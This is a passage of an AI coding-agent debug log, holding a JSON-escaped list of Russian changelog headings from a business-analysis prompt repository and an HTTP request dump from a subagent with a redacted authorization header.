\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru\\n279:### Added \u2014 Issue #323: \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447 (Issue Forms) \u0434\u043b\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 `runs`\\n308:### Fixed \u2014 Issue #273: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/README.md`\\n328:### Added \u2014 Issue #319: RUN-0057, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 (\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2116 1\u20134)\\n369:### Added \u2014 Issue #320: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0411\u0417 + \u0430\u043d\u0430\u043b\u0438\u0437 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `kb/`\\n414:### Added \u2014 Issue #317: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0411\u0417 + \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `kb/`\\n435:### Fixed \u2014 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f PDF \u0431\u0435\u0437 \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f\\n444:### Added \u2014 Issue #315 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0056: gap-\u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru \u0441 \u041a\u0426 Mango Office\\n472:### Added \u2014 Issue #313 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0055: \u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 Utair.Chat \u2194 Mango Office\\n511:### Added \u2014 Issue #310 \u0447\u0435\u0442\u044b\u0440\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 \u0411\u0417 \u0438 \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439\\n542:### Removed \u2014 Issue #310 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `contact-center-manual-sample`\\n561:### Added \u2014 Issue #309 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f 25 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 \u0447\u0430\u0442\u043e\u0432 \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 (RUN-0030\u2014RUN-0054)\\n571:### Changed \u2014 Issue #291 \u0448\u0430\u0433 2: \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u043e\u043c\u0430\u0445\\n607:### Changed \u2014 Issue #291 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f: \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u0435\u043d\u044c \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0430\u0440\u0445\u0438\u0432\\n634:### Added \u2014 Issue #291 \u0437\u0430\u043c\u043e\u043a \u043d\u0430 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n651:### Added \u2014 Issue #281 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 58093 (RUN-0016) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n681:### Added \u2014 Issue #272 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0019 (\u043a\u0435\u0439\u0441 1064)\\n719:### Added \u2014 Issue #279 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 994 (RUN-0029) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n759:### Changed \u2014 Issue #299 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n799:### Added \u2014 Issue #282 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 57204 (RUN-0015): \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 IVR-\u0441\u0445\u0435\u043c\u044b \u0432 \u041f\u0440\u0430\u0432\u0438\u043b\u0435 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 AMO CRM\\n822:### Added \u2014 Issue #284 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 978 (RUN-0027) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n854:### Added \u2014 Issue #280 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 997 (RUN-0025) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n878:### Added \u2014 Issue #283 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1007 (RUN-0026): \u0424\u0422 \u043d\u0430 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0421\u0434\u0435\u043b\u043a\u0438 \u0432 \u0410\u041c\u041e CRM \u043f\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c\u0443 \u0434\u043e\u0437\u0432\u043e\u043d\u0443\\n914:### Added \u2014 Issue #277 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1020 (RUN-0024): \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u0443 \u043f\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 OkDesk \u2194 MANGO OFFICE\\n941:### Added \u2014 Issue #278 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0023: \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0411\u0410 \u0441 LLM \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 59295\\n972:### Added \u2014 Issue #273 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0020: \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0411\u0410 \u0441 LLM \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1065\\n995:### Added \u2014 Issue #274 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 975 (RUN-0021) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n1032:### Added \u2014 Issue #275 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1040 (RUN-0028) \u043a\u0430\u043a Proof of Execution\\n1063:### Added \u2014 Issue #276 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 765 (RUN-0022) \u043a\u0430\u043a Proof of Execution\\n1093:### Added \u2014 Issue #271 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1079 (RUN-0018) \u043a\u0430\u043a Proof of Execution\\n1122:### Changed \u2014 Issue #271 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 runs \u043f\u043e\u043b\u0435\u043c `metrics`\\n1142:### Changed \u2014 Issue #293 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432: \u044f\u0432\u043d\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 (\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 vs \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438)\\n1189:### Added \u2014 Issue #269 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0014 (\u0437\u0430\u0434\u0430\u0447\u0430 1075, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0434\u0435\u043b\u043a\u0438 \u0432 amoCRM \u043f\u0440\u0438 \u0437\u0432\u043e\u043d\u043a\u0435)\\n1215:### Added \u2014 Issue #268 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (BCREQ-1059, \u043b\u0438\u043c\u0438\u0442\u044b \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439)\\n1244:### Changed \u2014 Issue #267 \u0430\u043a\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f onboarding-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e v1.5 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\\n1262:### Added \u2014 Issue #267 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0425\u0430\u0431\u0430\\n1281:### Fixed \u2014 Issue #267 frontmatter \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\\n1295:### Added \u2014 Issue #270 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0017 (\u0437\u0430\u0434\u0430\u0447\u0430 1076)\\n1340:### Changed \u2014 Issue #265 \u0440\u0435-\u0441\u0438\u043d\u043a \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0425\u0430\u0431\u0430 (T-01)\\n1413:### Changed \u2014 Issue #263 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u0438\u0434\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\\n1461:### Added \u2014 Issue #261 \u0424\u0422 \u043f\u043e BCREQ-1069 (\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 API-\u043a\u043b\u044e\u0447)\\n1475:### Added \u2014 Issue #125 cascading context loading\\n1494:### Added \u2014 Issue #123 \u0435\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/`\\n1510:### Added \u2014 Issue #121 KB pipeline: multi-file \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432\\n1531:### Fixed \u2014 Issue #119 KB pipeline: multi-part PDF \u0438 Git LFS\\n1543:### Fixed \u2014 Issue #117 KB pipeline: \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0438 multi-part PDF\\n1560:### Fixed \u2014 Issue #115 KB pipeline: \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u043e \u0432 `kb/processed/`\\n1579:### Added \u2014 Issue #111 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u0430\u044f \u0411\u0417 \u0438\u0437 PDF: \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 + \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 + \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f (Creative)\\n1618:### Added \u2014 Issue #109 dogfooding-\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u00ab\u041c\u043d\u043e\u0433\u043e\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb (Creative + Structured)\\n1640:### Added \u2014 Issue #105 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0441 \u0425\u0430\u0431\u043e\u043c (Research + Structured)\\n1667:### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n1693:### Added \u2014 Issue #97 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 (Creative + Research)\\n1738:### Fixed \u2014 Issue #103 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0438 UI \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n1756:### Added \u2014 Issue #99 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f GitHub Pages (\u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0438 UX)\\n1786:### Fixed \u2014 Issue #95 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c ID \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442\\n1798:### Changed \u2014 Issue #92 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (`id` + `title`), \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 EXPERIMENTAL\\n1820:### Changed \u2014 Issue #91 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 GitHub Pages (\u043f\u043e\u0440\u044f\u0434\u043e\u043a, \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430)\\n1850:### Added \u2014 Issue #86 Mango Office Multichannel widget\\n1862:### Added \u2014 Issue #85 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 MVP-\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432 \u0411\u0410\\n1882:### Added \u2014 Issue #83 \u043a\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410\\n1896:### Added \u2014 Issue #78 \u043f\u0440\u043e\u043c\u043f\u0442-\u0441\u0443\u043c\u043c\u0430\u0440\u0438\u0437\u0430\u0442\u043e\u0440 \u0441\u0435\u0441\u0441\u0438\u0439 \u0411\u0410\\n1920:### Added \u2014 Issue #74 GitHub Pages interface\\n1943:### Added \u2014 Issue #76 \u0441\u0443\u043c\u043c\u0430\u0440\u0438\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0435\u0441\u0441\u0438\u0439 \u0425\u0430\u0431\u0430\\n1953:### Changed \u2014 Issue #72 Smart Sync \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0425\u0430\u0431\u0430\\n1991:### Added \u2014 Issue #65 README \u0434\u043b\u044f `prompts/`\\n1999:### Added \u2014 Issue #64 ADR \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432\\n2017:### Added \u2014 Issue #66 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0411\u0410 \u0441 \u0433\u0440\u0430\u0444\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0435\u0439 \u0438 \u043a\u0430\u0440\u0442\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n2038:### Added \u2014 Issue #63 ADR \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n2047:### Changed \u2014 Issue #61 Creative-mode governance \u0431\u0435\u0437 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0434\u043e\u043b\u0433\u0430\\n2066:### Added \u2014 Issue #52 \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442: \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f, RFC \u0425\u0430\u0431\u0430 \u0438 \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\\n2105:### Changed \u2014 Issue #56 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u0435 draft-\u0444\u0430\u0439\u043b\u0430 \u043d\u0430 23 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n2135:### Added \u2014 Issue #54 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0432 `prompts/drafts/`\\n2149:### Changed \u2014 Issue #48 \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u0435 `AI_SESSION_HANDOVER_PROMPT.md` (\u0440\u043e\u043b\u044c \u0447\u043b\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432)\\n2171:### Added \u2014 Issue #46 governance sync with Hub (PR #208)\\n2197:### Changed \u2014 sync `AI_GOVERNANCE.md` / `AI_QUICK_RULES.md` from `templates/htom/`\\n2213:### Added \u2014 M-009 migration manifest\\n2224:### Added \u2014 M-007 hub research dependency registry\\n2237:### Added \u2014 M-006 prompt frontmatter normalization\\n2251:### Added \u2014 M-004 product classification contract\\n2261:### Added \u2014 Phase 1 migration scaffold\\n2276:### Added \u2014 Initial repository structure based on hybrid-Intelligence-lab templates\\n2290:### Changed\\n2338:### Removed\",\n[2026-09-29T07:46:30.255Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:30.255Z] [INFO]       }\n[2026-09-29T07:46:30.255Z] [INFO]     ]\n[2026-09-29T07:46:30.255Z] [INFO]   },\n[2026-09-29T07:46:30.255Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"uuid\": \"2b03ecdc-d992-4501-86f6-226f1dc870b1\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:30.250Z\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:30.255Z] [INFO] }\n[2026-09-29T07:46:30.288Z] [STDOUT] [log_3bd3cc] sending request {\n[2026-09-29T07:46:30.291Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:30.294Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:30.299Z] [STDOUT]   options: {\n[2026-09-29T07:46:30.302Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:30.307Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:30.311Z] [STDOUT]     body: {\n[2026-09-29T07:46:30.315Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:30.321Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:30.325Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:30.329Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:30.332Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:30.337Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:30.342Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:30.346Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:30.351Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:30.355Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:30.357Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:30.359Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:30.364Z] [STDOUT]     },\n[2026-09-29T07:46:30.366Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:30.369Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:30.374Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:30.377Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:30.381Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:30.383Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:30.387Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:30.391Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:30.395Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:30.398Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:30.401Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:30.408Z] [STDOUT]     },\n[2026-09-29T07:46:30.412Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:30.416Z] [STDOUT]   },\n[2026-09-29T07:46:30.421Z] [STDOUT]   headers: {\n[2026-09-29T07:46:30.424Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:30.428Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:30.432Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:30.439Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:30.444Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:30.448Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:30.452Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:30.456Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:30.459Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:30.467Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:30.470Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:30.473Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1422\",\n[2026-09-29T07:46:30.476Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:30.479Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:30.481Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.484Z] [STDOUT]     \"x-client-request-id\": \"db8b16b7-3460-4029-9d1e-01bf2f476b95\",\n[2026-09-29T07:46:30.487Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:30.491Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:30.495Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:30.498Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:30.500Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:30.503Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:30.505Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:30.508Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:30.515Z] [STDOUT]   },\n[2026-09-29T07:46:30.519Z] [STDOUT] 